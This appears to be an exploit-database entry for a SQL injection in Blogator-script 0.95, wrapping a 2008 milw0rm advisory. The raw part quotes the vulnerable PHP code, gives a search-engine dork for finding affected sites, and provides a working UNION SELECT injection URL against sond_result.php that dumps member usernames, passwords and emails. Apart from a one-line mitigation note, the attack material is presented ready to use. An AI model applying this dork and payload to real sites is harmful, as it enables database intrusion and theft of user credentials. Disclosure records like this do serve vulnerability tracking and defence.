Blogator-script 0.95 SQL Injection Vulnerability

vendor:

Blogator-script

by:

Virangar Security Team

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Blogator-script

Affected Version From: Blogator-script 0.95

Affected Version To: Blogator-script 0.95

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Blogator-script 0.95 SQL Injection Vulnerability

A SQL injection vulnerability exists in Blogator-script 0.95 due to improper sanitization of user-supplied input to the 'id_art' parameter in '/_blogadata/include/sond_result.php'. An attacker can exploit this vulnerability to gain access to sensitive information from the database, such as usernames, passwords, and emails.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

           
             ########################################################################
             #                                                                      #
             #    ...:::::Blogator-script 0.95 SQL Injection Vulnerbility ::::....  #          
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/sond_result.php:
line 27: $id_art=$_GET['id_art'];
......
line 34: $sql_res=mysql_query("SELECT sond_rep, votes_H, votes_F FROM sondage_rep WHERE id_sond = $id_art ORDER BY ordre");
------------
vuln:
http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/*
--------------------------------
you can see in Blogator-script other injection bugs too ;)

# milw0rm.com [2008-04-04]